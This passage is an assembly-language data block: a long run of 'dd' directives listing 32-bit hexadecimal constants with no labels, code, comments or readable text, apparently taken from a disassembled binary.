		dd 0B57D8059h, 562F6825h, 20A8461Eh, 0E9164A30h, 9ED218AEh
		dd 5535492h, 0D87C9568h, 5F5AEC91h, 52944C76h, 3B04D5DCh
		dd 0F1066926h, 0FEC920Eh, 0EA80A042h, 4E03771Dh, 87FD2F6h
		dd 65663825h, 19D627BFh
		dd 0FAF31DC5h, 2D6C681Eh, 38D1D433h, 0C68C286Dh, 59569EEh
		dd 35865E3h, 0B6D0C35Eh, 0FAEE1701h, 31EF71BFh,	9010C368h
		dd 0E14B25D2h, 3B6824C5h, 626CDEC2h, 0E9F158E0h, 0DECC2327h
		dd 36044FFAh, 1EE596E5h, 5CA21820h, 0AD5FFA56h,	5F290B02h
		dd 0C52B3824h, 49AFB674h, 4F53965Dh, 65329735h,	641EF49h
		dd 0D8315DEBh, 0DCCD63E8h, 93E2E14h, 0D155EC51h, 0B688508h
		dd 0BA973028h, 0BC484A17h, 9FCA0BE2h, 0C7D8C6Ch, 3401F5Fh
		dd 0F5F2011Dh, 78606B4Ah, 6695Ah, 0D4242AEAh, 9003715Dh
		dd 8034406Eh, 68EF437h,	0C1BB88F5h, 65DB9F84h, 2EB2E47h
		dd 6C295F9Bh, 1004677Fh, 45680C01h, 417EF74Fh, 62802AF4h
		dd 3E7940E6h, 43920129h, 6AE4B525h, 9D4CF0FCh, 0B024F700h
		dd 0C8B8506Dh, 2B0204Bh, 7BD441EFh, 94154E0h, 0FD297FD8h
		dd 1E083008h, 0FEA12F01h, 2469B8E9h, 2B4B6884h,	0BD0286A3h
		dd 601233B2h, 2F707AC1h, 0C8045752h, 0BB5736ADh, 52091EDAh
		dd 8404AEB2h, 355CBB8h,	0DAE983B4h, 0B1B349BCh,	0A729E804h
		dd 1440A95Bh, 2C695DBAh, 421605BDh, 16B44273h, 0F8F231C3h
		dd 831C74D7h, 0EAD201C2h, 3010EB0Eh, 4933E912h,	6D854DDDh
		dd 4CB6EBC8h, 0AA525C13h, 857B496Dh, 1399AF43h,	0C6E98F84h
		dd 2CD8EB3Ch, 3D549714h, 0F2BE105Ah, 615F821Bh,	6BE4FDD0h
		dd 2C519513h, 24658788h, 64E32E02h, 74748053h, 0E9192748h
		dd 5D7A7E08h, 0F1DBFC7Bh, 5502E674h, 2A533C40h,	0CA2D290h
		dd 124FB52h, 0EB3973F8h, 525A054Dh, 96E1A2FFh, 5301CCBAh
		dd 70C0E919h, 40DEC137h, 0B75C9C97h, 92BE375Bh,	0F4BBEFE5h
		dd 4A2E6882h, 93C5EB36h, 9BEAD053h, 0BA344B81h,	9EEA6581h
		dd 87435B02h, 0D48A0599h, 703B1F2Dh, 0D8F79D5Eh, 2716BDC0h
		dd 1C33171h, 73BF5958h,	70092326h, 7C0B4CF0h, 24B7B07h
		dd 55FC8575h, 0E4D04A5Ch, 5290D327h, 5137F05Bh,	0B50BFD28h
		dd 51FE09BFh, 7E4C72FFh, 0F26CDD2Fh, 0A1F25E6Fh, 0B1E089F4h
		dd 3C91517Dh, 0AFC4882Ch, 97D294F7h, 3D541AD4h,	0B4D4F8E9h
		dd 4DC809F3h, 61041F6Fh, 2C31EF79h, 0CC6F4C1Eh,	0FC84F94Ah
		dd 59BBEC4h, 0EC4D7A68h, 1977C10Eh, 0F253A57h, 8878C56Ah
		dd 0DD58DE7Bh, 3E5CCD24h, 819527CBh, 99A7AEF0h,	92128B11h
		dd 95B2AB96h, 31CB2A79h, 0F09790FEh, 5B47DF28h,	0D6A31BBEh
		dd 6F6264F1h, 72FC8F89h, 5655820Bh, 63027BA8h, 0EB800BB5h
		dd 8A7BC12Dh, 8996F92Bh, 0A79055Ch, 9D327E81h, 39E8D454h
		dd 808A215Ah, 4EE32FB7h, 0E4DBA892h, 16BFCAFFh,	0B3A35E54h
		dd 14FF29DAh, 6CC5BD5Ah, 9D20D7A8h, 18BB07E6h, 0A342AA5Ah
		dd 147F41B6h, 7431222Fh, 0C97DEBB8h, 1F801319h,	0B2A76852h
		dd 5A5E2517h, 60ABBEC1h, 76DEC104h, 5C2902BFh, 3C2DC3A8h
		dd 12600F8Ah, 68813F9Eh, 7A5669D8h, 0DFEB5862h,	826BF58Fh
		dd 0E8688AE0h, 51A3105Ah, 50752710h, 0F4A8ADC6h, 9A2D1823h
		dd 96A9FF6Eh, 855FB4DFh, 505C80FCh, 0FD73F468h,	10EB6758h
		dd 0BA023732h, 0C55F34C6h, 5F00777h, 31281C61h,	0DA56ED45h
		dd 731675A2h, 12F0E375h, 26BB1ABEh, 1201285h, 3845953Bh
		dd 1BA56885h, 3F30938Dh, 1C060956h, 35874542h, 1809A2D3h
		dd 0C537C855h, 62618A0h, 7D380C6Bh, 603AD42Fh, 5BBDE95Ch
		dd 3A62EEB0h, 0D1C9B2D1h, 0D4422FD7h, 6BBA4557h, 0F6EA04A2h
		dd 2F99FB77h, 0FDC0A2F7h, 0E35B5D2Fh, 6268510Fh, 0FB31FA43h
		dd 0FBE1019Fh, 0D82A0F72h, 6C1361F1h, 0C0AE52E4h, 0E63D4D2Dh
		dd 40962348h, 0FABD5906h, 5F102F93h, 8452DF7Eh,	1BE86F75h
		dd 68E630E7h, 47BD3CBAh, 5DEE0916h, 50C48D5Eh, 0BB7A13BFh
		dd 0E91752CFh, 8BCA84F7h, 0B0680ACDh, 0A4A63663h, 5175C825h
		dd 0FADF2DE9h, 9AF27E8h, 0CFA4F197h, 180E70C4h,	8048CC28h
		dd 960BC680h, 0C0B0B353h, 0EA502C3Dh, 4FE97CF0h, 87EEEC22h
		dd 0B6C2DCF1h, 5894066h, 3C90A38h, 0C9C6CB29h, 984B1207h
		dd 3A015812h, 5A135CBDh, 2B628D3Bh, 32571C00h, 25E03E5h
		dd 0E907E6C1h, 0B0F74DC2h, 826721F7h, 42776689h, 0E3D8F0CFh
		dd 0B2F1BC6Eh, 31297C5Eh, 2E565D19h, 9F5E2C28h,	0F09C2D73h
		dd 7A08C692h, 0EA8100EBh, 3D1A4F4Eh, 0CBBB014Ah, 9CB54952h
		dd 662E22EFh, 49B4571Fh, 64DCC8C1h, 0AD2E78B8h,	0F58101AEh
		dd 87479B27h, 34040B3Eh, 495D99E2h, 9FE957CBh, 4BC4BC7Ah
		dd 50548EFBh, 0CCB57F4Bh, 175C0FAEh, 0F93703C0h, 0D2C2C90Fh
		dd 0A0C7283Dh, 0F79913EBh, 208C09DFh, 0E6B7F9A3h, 2B6D45C1h
		dd 2D1D38EAh, 0FBB3140h, 94F63385h, 42B94418h, 52795981h
		dd 2C6B4B10h, 9D1E7CFEh, 40FB596Dh, 23780FEDh, 4A5D727Fh
		dd 4EB25814h, 680402BFh, 0D25964A3h, 98975A7h, 0E82762DDh
		dd 8249DF80h, 68BB8200h, 25E66B73h, 1F2952h, 34A07D0Dh
		dd 148CF281h, 8552655Ch, 924FE71Fh, 9D84AA60h, 994B081Dh
		dd 0FB72C4ABh, 0E9BF37CDh, 2895627h, 30079F03h,	79C5E12Fh
		dd 0C7CE0825h, 0B1042112h, 0BF003D9Dh, 56975B3Bh, 515F0BDh
		dd 0DA4E62E7h, 65CE0141h, 0BC421545h, 563B8918h, 0ECC9D54Bh
		dd 9BA2055h, 0C701C3A8h, 0A9C2DBB9h, 3400AF0h, 0E6C1601h
		dd 5F81167Dh, 537B02Bh,	304A370Bh, 49C6517h, 0BA41E668h
		dd 7142BE30h, 0E9490ADCh, 50E65033h, 5B95F089h,	52A424B0h
		dd 7352CD01h, 0FDD08DC1h, 3F34C34Eh, 117F6438h,	0C02CFFF3h
		dd 0AA8D4CC0h, 0AB19B4A7h, 0E75FF5F2h, 0B3AA9211h, 904C857h
		dd 0D25D2CBBh, 0C321183Fh, 113B458h, 0E94D5C05h, 31FA49ADh
		dd 2B314877h, 0AA2A5A99h, 52C6BD60h, 802E4A4Eh,	6932D51Ah
		dd 0EF01BFB0h, 4527600Eh, 6B5BE9h, 68C32890h, 98B507EEh
		dd 3980F2DAh, 0E58620F5h, 10DDF694h, 0F268B03Eh, 0B63ED8A6h
		dd 69E69910h, 0EED81606h, 0F5281241h, 0F7A6AE5Ah, 0BDC3F07Eh
		dd 0EE67AC71h, 6622F1E7h, 16D67051h, 22A6B0E9h,	89F07438h
		dd 27A70D07h, 0C5A43998h, 0B001A4B8h, 0FE483488h, 9A04BEC8h
		dd 552EDE23h, 0FB249EEDh, 0F6C0BF92h, 28662Dh, 565F74E3h
		dd 0EB46853h, 0E93F3104h, 78E34E11h, 5DAC9318h,	860030C6h
		dd 4A05857Fh, 9732161Fh, 7825750h, 41160059h, 0CC50174Eh
		dd 925A4308h, 8E681238h, 716DAE4Bh, 0A022BC2Eh,	0B78098E9h
		dd 124F66DEh, 9BF408Ch,	1CAE5575h, 7F5A0100h, 0CC24CB3h
		dd 405F2A48h, 5C9FEFFAh, 0F64B767Ah, 16843A13h,	0AC01104Ch
		dd 3F9521D2h, 0B55AD3CCh, 89089278h, 55C0269h, 838A457Ah
		dd 0E4AC3A1Ch, 7B132A8Dh, 50AE46A8h, 0BF4E0828h, 0F2795829h
		dd 70D45B8Bh, 90C50E8Bh, 0B082E299h, 4E4D6130h,	3007043Eh
		dd 0A006849h, 5B598349h, 0D2A565E9h, 8FD0933h, 25B88500h
		dd 7198102Bh, 7A294F0Fh, 3801C540h, 2A706591h, 5805D536h
		dd 0AE369045h, 0E4DD23B0h, 3ADB9EF3h, 0A45D7466h, 6C24AFEh
		dd 5E95CFE9h, 8F688573h, 0C183EC1Dh, 0AEC7DC6h,	9C4D842h
		dd 0DFFB8BD5h, 6813366Eh, 0A0B643C8h, 6D7BE982h, 2FE4E6DDh
		dd 0AF1205Fh, 56FADA8Bh, 0BBF16227h, 3A3CEA59h,	2DC8CA94h
		dd 3B3E7DCEh, 0EE074FA4h, 20674EBh, 0C0DFF509h,	64B1616h
		dd 0E6C129D3h, 0D83B3002h, 0E093B69h, 4040C7F6h, 0E9F531A4h
		dd 1ADF5DE8h, 5AC06883h, 0F9CEFA85h, 96779D78h,	805B5C48h
		dd 6B34E196h, 5CBC29F8h, 119E579Fh, 0D118DC2Dh,	0E95A4545h
		dd 7D139E1Fh, 0C8510E62h
		dd 9E71B97Ch, 0C6B224C2h, 7017681h, 0E943AD54h,	7E24F710h
		dd 4CB00BCDh, 0B7807791h, 51E5678h, 24CC0CC2h, 57C8C03Bh
		dd 0BF6AAC73h, 10D71762h, 82975A86h, 3BF6BF10h,	22A96812h
		dd 51FCB604h, 0D830AC02h, 54649160h, 0CC7A8082h, 0F656A50Eh
		dd 99486043h, 0BCF87D31h, 7A49B24Ah, 7095F0A3h,	42400BBFh
		dd 0A9FF2917h, 0D20BDD1Bh, 25983457h, 77742279h, 39C665EFh
		dd 4A18E7ABh, 5116EDE9h, 839D9C4Fh, 3429F183h, 0AF4B7163h
		dd 0B02D5A4Fh, 515B5A02h, 0DE41C588h, 98800514h, 5D6204E2h
		dd 0C128A056h, 6FEAFA08h, 0F8CB3BBEh, 7F430260h, 8B446182h
		dd 6550FA2Fh, 3CBE5A89h, 0AC7BE9DDh, 0AD865BB5h, 0A10C4FFEh
		dd 2D681A35h, 9054753Bh, 0B9B526C0h, 58C50130h,	0E828CC2Ch
		dd 6888B66h, 0BDEEDD60h, 76568420h, 9F8F9001h, 0D9F0567Ah
		dd 474AE2B8h, 68B04FFDh, 0C4A92F7Fh, 0A79BDE43h, 80D1B7C1h
		dd 952D485Ah, 4CC862DBh, 7A139221h, 9A71FA12h, 6974C330h
		dd 479C2768h, 0E93C3F16h, 5C39CE99h, 92F8AF9h, 52D95A76h
		dd 0DFB9539Eh, 0B850B860h, 16551657h, 0D17BC029h, 0F37C81E3h
		dd 7723418h, 0EA280A22h, 0E1405E6Bh, 0AF1CC42Ch, 344B1530h
		dd 0B5756DE9h, 59669CC8h, 20622C13h, 1FFB313h, 0D075C969h
		dd 0FABF60E9h, 0DF55EE4Dh, 72BA1E52h, 1B762550h, 1F127D2Dh
		dd 681BC0FDh, 7FABB53Fh, 0D2D61C55h, 9CAAEF4h, 0FA26BB4Bh
		dd 51D8208Ah, 2DC38013h, 0A56E4689h, 0F5BC3BBEh, 0A620F100h
		dd 0EBBD5542h, 5F4A2C71h, 5E0540F9h, 0C3095230h, 0D94EFD66h
		dd 0B22EDCFFh, 0ABFC375Bh, 0E90BB058h, 0B15B70A6h, 437BF425h
		dd 484E2774h, 0EFA463ACh, 645EFD8Eh, 62E1BD32h,	7F50023Bh
		dd 0F0276594h, 10087A58h, 2A104108h, 9158EB1h, 4A9C1C5Fh
		dd 0CCD927F7h, 0DF9A865h, 0BF350202h, 61D3B1D4h, 0B56CC08Ah
		dd 0F6CCFE00h, 46EC80DCh, 1968660Eh, 0B6F99851h, 0F8F4E0E6h
		dd 1C88765Ah, 9C1D0458h, 2CF00E26h, 0D04CBC9Ch,	54C62525h
		dd 3209F3DFh, 909F7220h, 2E7C951Fh, 4F814897h, 2CDCC831h
		dd 49519D83h, 93E902C9h, 9AF60B37h, 20D9003h, 423DE172h
		dd 3CAF18A5h, 0E564173Fh, 789D01CBh, 0B4DC7867h, 680947E7h
		dd 0D4300B0Eh, 79B59F83h, 1DD2AFA6h, 0B94ECDFAh, 42C83F31h
		dd 6F98005h, 6D48F301h,	955B7DD5h, 0CE280EC1h, 0B5CC04DCh
		dd 43F98525h, 35EE8098h, 4A701DF2h, 79105F5Bh, 4E1E3FD1h
		dd 1EACF28h, 0B0089F56h, 17619E9h, 0FBC8FD35h, 0EBF8D205h
		dd 3684E5F2h, 49414D3h,	16EB505Bh, 97204509h, 212A74E5h
		dd 0B20C3E61h, 823FCD57h, 0DF840C32h, 6F0AE116h, 6713D0F3h
		dd 0D3B6E9F2h, 0BE2B4AB1h, 0EC81EE64h, 0CF936AF7h, 0DA56EEC2h
		dd 1488CFE9h, 0DA4A753Fh, 0BA3852EBh, 27E9408Ch, 1BFD25B2h
		dd 8097925Ah, 0A5213B6Eh, 0B9510040h, 7DC77247h, 891EE181h
		dd 626DCA2Bh, 181F4404h, 0CCBF485Eh, 3BB95D70h,	5917FA02h
		dd 0F6EBE03Dh, 9813767Ch, 606801B5h, 0D8F7282Eh, 4D70F2E9h
		dd 0BDC696B7h, 4257EE12h, 0CBA002B8h, 144D5C7Ah, 957F08C3h
		dd 136B0659h, 367400CFh, 0E955163Fh, 16D33041h,	0D108E400h
		dd 13F281EAh, 4C653E3h,	0ACCDBB99h, 0B701DF60h,	6EFC0D8h
		dd 0C449BC3Ah, 0ECBA2A08h, 52E4B765h, 9F5FFCA8h, 545312B3h
		dd 2D68D62Ch, 78982F65h, 7EBDBFA3h, 0DAE6C9D6h,	9F42D6BFh
		dd 8005A0C6h, 0FE88AAF7h, 3A823074h, 7FF462E9h,	684CED66h
		dd 82C1628Bh, 24420941h, 0D3922151h, 3592D74Fh,	62FB9349h
		dd 0F95F5328h, 34E96138h, 94783CE2h, 0E33725E4h, 0A3EAFC72h
		dd 7D44C36Fh, 0DF018CFFh, 8E228F32h, 44DFC0Ch, 0D9AA5925h
		dd 3B58F566h, 4245C331h, 0BA607849h, 6812D45Bh,	4A05E71Eh
		dd 89C14661h, 4519675Fh, 0AB1CCFF7h, 57272E28h,	54FFBD31h
		dd 0AAF8BF7Dh, 0C32D4743h, 299681D3h, 497B1BCAh, 927F502Dh
		dd 3880C72h, 780C6847h,	305A557Ah, 0E25F32A6h, 21AE4A4Bh
		dd 4338C12h, 34EBDF16h,	0D8F9EAC8h, 5104F84Bh, 292C01F1h
		dd 0B542E6CBh, 0B8E93B02h, 0F680D5A0h, 0F32730EDh, 99465F5Ah
		dd 885E8EF2h, 4A8945E0h, 7E6DCD4Fh, 0AC689D93h,	71A698AAh
		dd 0E427644Ah, 0CF56F937h, 0A82AFC08h, 0BFCBFED5h, 1898A478h
		dd 0CAFFA04Eh, 0CAF85FC9h, 2345A1h, 18F06853h, 9C65274Eh
		dd 0F9B53FD7h, 0E81B8BC9h, 16B314FDh, 0CC4A4368h, 3B4E9F0Eh
		dd 5AA48131h, 3FEE8101h, 0EA5ACFB8h, 55F9C121h,	0C41120A8h
		dd 1622FD90h, 459E2504h, 0F9DA8CEEh, 316B7713h,	5152B1E4h
		dd 0C7330ABAh, 65484C71h, 0D753E780h, 26090D05h, 4A64A223h
		dd 0FAFCC458h, 0FC592F3Eh, 1F0185F0h, 0E977FD54h, 0EC7B6FD6h
		dd 0C893DFDAh, 0BEE55FBCh, 34B14298h, 0FEF0E928h, 355069F6h
		dd 0BF167051h, 535ABFFCh, 191F09DEh, 1EFF6E29h,	2D73BE1Ah
		dd 68508177h, 277674DAh, 0F410A32Fh, 64274C16h,	64085F12h
		dd 2AE22408h, 0FFBD34D2h, 0D597C003h, 0B3B89D0Ah, 16994830h
		dd 271384BBh, 0E573011h, 7C62A1D5h, 0F7E15F09h,	0BE5B0740h
		dd 47AE13FEh, 48C5BFB0h, 0F9C6C2BBh, 0E158FD10h, 9668F96Fh
		dd 0D180E021h, 8187242Bh, 2574393Eh, 0C3BC2A80h, 0D7F7030Bh
		dd 1797BF00h, 589F2A27h, 3E7007C8h, 9E94523h, 86B8A560h
		dd 4791704h, 0FAC25648h, 0B3C121D4h, 0C72882Ch,	335F2FCAh
		dd 0C0B3E9C3h, 508C3C32h, 0E6BF6F32h, 5C516277h, 5DFA4F05h
		dd 1048B409h, 9BA2D757h, 0CCEB322Bh, 612D7FC7h,	0D1EC3073h
		dd 9F5F7640h, 790926D4h, 9AF35721h, 173CB38Eh, 11E139EAh
		dd 1032585Ah, 0EC2E29C3h, 0CB01240Ch, 95082046h, 3EDF462Bh
		dd 4F6D21ADh, 7EB42FBCh, 0E699A898h, 0E04A5BBFh, 0BEDEF962h
		dd 7E81CAFEh, 0C3F26AF8h, 5CBBF86Dh, 0C31AC37Ch, 0B7B5FE1h
		dd 29168E7Eh, 0EDE05BDAh, 4EEA6CC1h, 85FF8235h,	6291E921h
		dd 0AE0B0E95h, 0C14257C1h, 0A027C275h, 4DDB685Ch, 26199065h
		dd 60589DB9h, 68C8BF0Fh, 9253152Ah, 608F4F20h, 0C5C95087h
		dd 147DFC0Dh, 9FECA94Ah, 13ECB6A4h, 0AEF653EFh,	8C279658h
		dd 0F59DB1F4h, 42018C8h, 84D78853h, 45BE90Dh, 3B1468E2h
		dd 3D484EF2h, 5220DF46h, 2C3ED8E0h, 0D1A9A50Fh,	0D85D692Eh
		dd 9E5495ABh, 2A49D1h, 0FEA0B60Fh, 0E60FC0CEh, 0C9DEF607h
		dd 0C5FB69AAh, 7B94F83Eh, 8F4C5F24h, 0F60574BBh, 83B652D1h
		dd 0C147E684h, 0E6AFDAF7h, 42A599Ch, 0F5446BB9h, 0E18B824Bh
		dd 74D382A7h, 3F1CA96Ah, 848D12E0h, 0DBEE794Ah,	3597BC08h
		dd 5AFEF480h, 5542A297h, 8AB0A51h, 5012EF06h, 10A63A0h
		dd 3B85CC2h, 2CA33DF6h,	5CEC4A13h, 6F2B8FB1h, 5512B0B6h
		dd 0B5E9E95Dh, 12AA8BAEh, 75AD3968h, 0F581102Fh, 216DEB80h
		dd 0D5C3D5E6h, 74BB2B59h, 52F7AA9Dh, 407BF551h,	5BD9F2D6h
		dd 87F61F3Ah, 1B0081D3h, 0CB03E79Ah, 8AF74A29h,	0F8311780h
		dd 0E9A430EBh, 0C9BD18D5h, 0FBC9EFBBh, 607CE7E9h, 5B673502h
		dd 0E9C1E8C5h, 0C8A1246Dh, 0C1DA85A3h, 2DB15100h, 0CB0EDC80h
		dd 228701F1h, 5AD101ADh, 0CA88DC50h, 0FE97E912h, 7D22F68Dh
		dd 125A5F50h, 0A83C486Eh, 607E0E2Eh, 0F9E7C022h, 0B518A307h
		dd 27B02443h, 75E464E9h, 0FA37424Fh, 0D89069B4h, 5F883AB0h
		dd 0AAB6C4C6h, 5206D58Bh, 96C18851h, 0BE95917h,	1F047552h
		dd 762106E6h, 0C6343070h, 995ED03Fh, 0EE10DE01h, 6F53E900h
		dd 0B243DEBCh, 31CAD1ECh
		dd 9EF53Ch, 0B0B43326h,	9FFECE89h, 0E780CF9Ch, 759B54D8h
		dd 4AC74C83h, 1DE46578h, 2F0E87C3h, 4DDF29CEh, 2E692D37h
		dd 4984F5B0h, 0DD128450h, 0A15B105Bh, 4E47B204h, 45A6AB34h
		dd 4AEA8A4Ah, 7E9ECDAFh, 6C510221h, 89D3FE04h, 0D02ED2FDh
		dd 0AFEBF1Eh, 4A43FEDBh, 9B6BC7CDh, 3342807Ch, 0A0770B42h
		dd 0FFACFEC3h, 48C3FA0Eh, 0FAD6AEEBh, 53621ECCh, 0E102A45Ah
		dd 2E73432Fh, 26D8DD60h, 8615FD24h, 0B2710B1Bh,	1379FE98h
		dd 5185BFB9h, 3C5214ABh, 0E3665127h, 0A16BC92Eh, 4EEBE958h
		dd 51C49337h, 79B6A7C1h, 479705C0h, 54C110D7h, 32342DCDh
		dd 542B405Ch, 395BE4ECh, 0B489B8BDh, 7A891776h,	46985DC2h
		dd 14972177h, 7502982Bh, 17B88028h, 2BDC5F00h, 4007E8C1h
		dd 4B6BFE57h, 0C4BFF30Fh, 24FEE8B5h, 0B890521h,	0BAB03442h
		dd 70E58737h, 0E73BEFB9h, 0E35FD3CCh, 18BF4E7Ch, 91FB2A22h
		dd 0DA6223AAh, 0A941CCFFh, 0F23FF916h, 0ED81DD8Dh, 59204046h
		dd 79310C87h, 0CD011229h, 80DDB62h, 914040Ch, 0F5A7D4D9h
		dd 0A80C5468h, 5590C1E6h, 0F46001FBh, 14525E05h, 4B708B40h
		dd 0A8778C58h, 0EC88501Ch, 6567E79Fh, 0C780879Dh, 74020910h
		dd 1F482DA4h, 496F05D5h, 67D06F94h, 0F160181Ah,	5E8D7A1Dh
		dd 70A7A060h, 1D305C5Bh, 9F504068h, 74AD085Bh, 51D7E9DAh
		dd 579660E8h, 0F5F82F9Bh, 750D9269h, 52885E45h,	3EA04DBAh
		dd 22FDBF5h, 5F2A32C1h,	8A03C74h, 0A640AA98h, 8A2E9705h
		dd 2A49EAB3h, 3410F52Dh, 6BFC27EDh, 57CA83B5h, 0A9BE841Fh
		dd 0F9DFDF5Bh, 0D0AABDD6h, 43ED9B8h, 37111B58h,	1EA416E7h
		dd 0E280D3C4h, 2611A4CEh, 29D574Ch, 0F3E2AD13h,	1FDFFC75h
		dd 5275DCEAh, 0B0B2FC22h, 5B15F4Ch, 0E9FE8708h,	4BDBB8AEh
		dd 4073CFA7h, 530F351Ch, 45C0AF8Ah, 28A9E393h, 665968C2h
		dd 63259A4Ch, 60CB5E58h, 0CA933B9h, 0F5BED90h, 0C49682E3h
		dd 4580C180h, 0A8D52E28h, 3A3FA1EBh, 9092F0F7h,	0E22FF5D2h
		dd 0CA04487Fh, 5BF378EAh, 409433C2h, 9011E69h, 0E2D15FFAh
		dd 2B7CC07Dh, 0F5E525A5h, 0EBF2B658h, 84339A0Dh, 0B82E6E21h
		dd 0F2E90901h, 0B9667F6Fh, 0C6595801h, 0E1D14153h, 8B0E40CEh
		dd 999B129Dh, 0B4CBAF09h, 0BF0E6E7Ah, 736FEDC1h, 4F603CFEh
		dd 7FBB00D7h, 6F0C40ADh, 9A204CE5h, 0A4688093h,	2CE15E95h
		dd 3CC4C25Fh, 8481125Eh, 90BDC44h, 0FE496470h, 2FBCB492h
		dd 0DA33C1F6h, 16028113h, 0B51C9AF8h, 311A0F59h, 0A5F477E0h
		dd 3D4F875Ah, 48E57709h, 3B7FA620h, 0AE042C28h,	0C0124260h
		dd 0D6C673ACh, 0CB5AAACCh, 0A1C841EAh, 2266A105h, 0EEF02BFh
		dd 0E1DB5695h, 0B80029BDh, 0D0013BD6h, 2A5C350Ch, 23606902h
		dd 0AFD5D350h, 0FD011369h, 61D985D1h, 0C0BEC7Bh, 46608EEFh
		dd 0AFF75F01h, 0D1A5B34h, 0E6F2D552h, 3076AE7h,	0FE74535Dh
		dd 1C80FFB0h, 0DCC045EEh, 3C6FEE06h, 0F809F692h, 7B1E6011h
		dd 0B15AF588h, 65CAC22Ah, 0C98B565Dh, 0A192467Ah, 289421E0h
		dd 629CF9CBh, 29046CFEh, 0D15D69C0h, 0CD8104EDh, 870602D2h
		dd 1EE98962h, 0C9912056h, 479D4612h, 3380E8C4h,	0F2E319CAh
		dd 9EC2FCE9h, 2C5B838Dh, 0C0C7C30h, 0CAD2394Ah,	2BE338C3h
		dd 99F63BADh, 681708A0h, 5C8C511Bh, 12E3EACh, 0D04B459h
		dd 0C2A06CBBh, 0D5521FC0h, 5069C725h, 0E268208Dh, 0F0EA893Bh
		dd 0D50E1B69h, 0B4F1579h, 7A4E902Fh, 0F40F8344h, 16A705D7h
		dd 95D908h, 0D839FBB8h,	0F090D76h, 573B1E66h, 506062D8h
		dd 0C0E0ED83h, 6036BE5h, 5B812202h, 2DD891E8h, 11B4C0Fh
		dd 37B68495h, 3B773AB9h, 0EECBE66Eh, 0A92FEFDDh, 348B13CAh
		dd 970CABAh, 0D9443668h, 7432823Fh, 9F0035B0h, 0ED3F7F75h
		dd 3E40F930h, 0CF020438h, 6667186Dh, 937F85Fh, 9990E70Fh
		dd 1708C654h, 0F38005B8h, 3BA00934h, 0F52C18FFh, 0C04C4C0Bh
		dd 0A3229813h, 0C129107Ch, 80DA8A2Eh, 516602C4h, 0D15FB450h
		dd 0C9CA8992h, 177A5A5Ah, 6B66AF01h, 296C9FFAh,	515AD694h
		dd 91464BDh, 0DD427F36h, 446FF9DDh, 5E91B8F0h, 0D768D602h
		dd 318554Dh, 65BB4FB4h,	0E109FF25h, 0F8F0608Bh,	31D6D095h
		dd 2B537A2Eh, 52D0124h,	907776C8h, 5080788Dh, 75EAC359h
		dd 2E091348h, 8850054Ah, 3220EAE2h, 0E5D18951h,	51C18444h
		dd 270454D7h, 0B1E69587h, 0DD842125h, 0D248F267h, 2B85BD8h
		dd 17180503h, 0F02D2428h, 0B97DC669h, 0D15425F3h, 8E68175Ch
		dd 8323372Ch, 0DF120A88h, 62FA40EBh, 0F7705825h, 8FFF524Ah
		dd 0BBB75FE6h, 0EA4AAE17h, 0BB994C8h, 67522E12h, 448A03FDh
		dd 0C0214854h, 0D4B2ABB5h, 0BA4E7090h, 0BF4BF0CEh, 4EE91CDCh
		dd 82A05F4Bh, 11514921h, 955A0AF7h, 7B1C0426h, 86A0F5AFh
		dd 0A739E950h, 0D45147BEh, 6604237Ch, 0BA1FF9B9h, 0FC9CBA76h
		dd 13925BEh, 4133CAF7h,	0B8364B5Eh, 0BAF64E12h,	1A10F2E2h
		dd 0D18B4EA0h, 4D31CA4Ch, 0E8CD051Eh, 292D10F4h, 584D5EE8h
		dd 5F2833DBh, 10E68C6Bh, 9C719F26h, 910B5028h, 765DF7CFh
		dd 0C65E2D82h, 0F2D83EFh, 113D857h, 685600D8h, 1B8F7C90h
		dd 6090525Eh, 36C42C4Eh, 5C0771FEh, 7E292E51h, 4E16A629h
		dd 7843934Dh, 7D206389h, 0DB5724D9h, 0FD40092Dh, 5F95154Eh
		dd 0E97DC0BCh, 0EBE8404Bh, 2D415F92h, 93055370h, 89283977h
		dd 0DC42D6C2h, 11310604h, 193F0C4Bh, 8543BC7Eh,	0CB895AD1h
		dd 6DE1DFBCh, 0E1C101EFh, 0F4D94A70h, 4364906h,	0CCB65209h
		dd 16925057h, 0EA2CC828h, 54577DC0h, 0D0F9B55Fh, 0E31568D8h
		dd 3D3326Ah, 486EF7E1h,	63166691h, 0C9007208h, 8290123Fh
		dd 0B6EB5C89h, 0EF400C49h, 0C4E04AE9h, 0C038BDDCh, 5125B753h
		dd 32FD5888h, 5B5BD520h, 18E93DEBh, 4A27E9CCh, 701576B1h
		dd 0D69DCB80h, 0BDB56043h, 0E917EB30h, 1CA2DEBAh, 2D046F04h
		dd 2191C149h, 3EC0CED6h, 4082BCC4h, 3D5F9CDBh, 3C9025B5h
		dd 0A3BB0078h, 0C17C8E69h, 0DAE09DE3h, 0E60A9A2Ch, 0CADD89C8h
		dd 8141E410h, 1F9C6D30h, 537FE10Eh, 0BC42513Ah,	0A9CD2578h
		dd 0C9CFDCF9h, 87AD418Eh, 9D2FB889h, 63C331E8h,	897C6202h
		dd 0E0055FFEh, 0B528C1F2h, 26074088h, 0FFC8A7D7h, 0A19FA35Ch
		dd 6E7A6830h, 0B5B4CC2Eh, 5640732Dh, 83542D0h, 0E0CE9549h
		dd 0C8A39C72h, 4C540BE2h, 5F65680Bh, 5EF9A89Bh,	0DE253A21h
		dd 4250A71Fh, 45BF214Ah, 0BC0515h, 4E283610h, 0FA4EA5E8h
		dd 0AA5E08CEh, 0FA32B44Bh, 8847C100h, 0D05859EFh, 8998873Ch
		dd 6E6A6055h, 8131978Ah, 3E595271h, 6AC57934h, 4BF7E2BFh
		dd 0A85675FFh, 9F1584E5h, 0E9FA78BEh, 26AEDE59h, 7302A2ADh
		dd 0C4482920h, 48389796h, 0DB6CB22h, 0C00AB640h, 23034BE6h
		dd 7E2F2848h, 6A13728Ah, 2F60E9D6h, 0FAF6685Ah,	623BF2BEh
		dd 73E2A8h, 2C07E0C0h, 0B03A50FAh, 0FE099E44h, 70D8F6CBh
		dd 77542097h, 6CFDB902h, 5581450Fh, 796651C0h, 0F6003790h
		dd 29CBA8FAh, 30515FF9h, 0EE7C595Eh, 948DC39h, 33820480h
		dd 0E97753h, 0B1700841h, 0A0791F5Bh, 41F3D009h,	230CA008h
		dd 7229FC97h, 73DDA0CAh, 1876412h, 0E5E9535Ch, 0E84BE678h
		dd 90E11CD8h, 43BC9E4h,	0F128E4C1h, 0C0903D85h,	48E16866h
		dd 8884510Ah, 57F4FEECh, 1CD48464h, 43CE1769h, 447F258Dh
		dd 177F559Fh, 902F31B1h, 80ACB6DDh, 7431C931h, 897A4271h
		dd 2BAC6A49h, 2B76B262h
